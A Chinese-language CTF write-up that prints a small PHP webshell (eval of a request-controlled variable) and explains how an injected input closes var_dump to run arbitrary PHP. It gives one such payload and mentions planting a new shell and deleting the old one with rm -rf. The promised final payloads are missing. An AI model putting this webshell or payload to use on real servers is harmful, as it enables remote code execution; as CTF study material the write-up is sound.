<?php
show_source(__FILE__);
$a= @$_REQUEST['a'];
@eval("var_dump($$a);");
?>
分析
首先注意到木马中eval(“var_dump($$a);”)内部是双引号,根据前面所学的知识,双引号中的变量会被解析,eval()存在变量$$a,$a用户可控,根据前面的知识综合思考下,那也就是可能我们输入的他会当做php代码执行,假设没有var_dump()函数,函数将变为eval(“$$a”),根据前面的知识我们就能够利用这个木马——我们输入的字符串,他会当成php来执行。比如a=a=phpinfo();就可以执行(在函数为eval(“$$a”))情况下,那么我们接下来的目的只需要解决var_dump()函数就行啦
对于var_dump函数,我们可以像sql注入那样来拼接语句来讲var_dump()闭合然后放入我们自己的PHP语句。我们具体实验下我们来做个试验,源代码就是本次分析的小马源代码,payload为a=a=1);print_r(2,post发包我们先看试验结果。
利用并写马
根据前面的分析学习我们得到最终shell的payload:
在文档的最后我们要提及另一种的利用方法,其实原理差不多,这里我直把payload贴出来,小伙伴们可以自己分析一下。
利用自己上传的木马将原来的马删除即可。可以用菜刀,或者是rm–rf命令,这样我们就可以在独刷这一题分数。
总结
木马能被利用一大部分的原因还是在于双引号中变量可以解析,如果换成单引号或者是没有符号,这个木马将很难利用。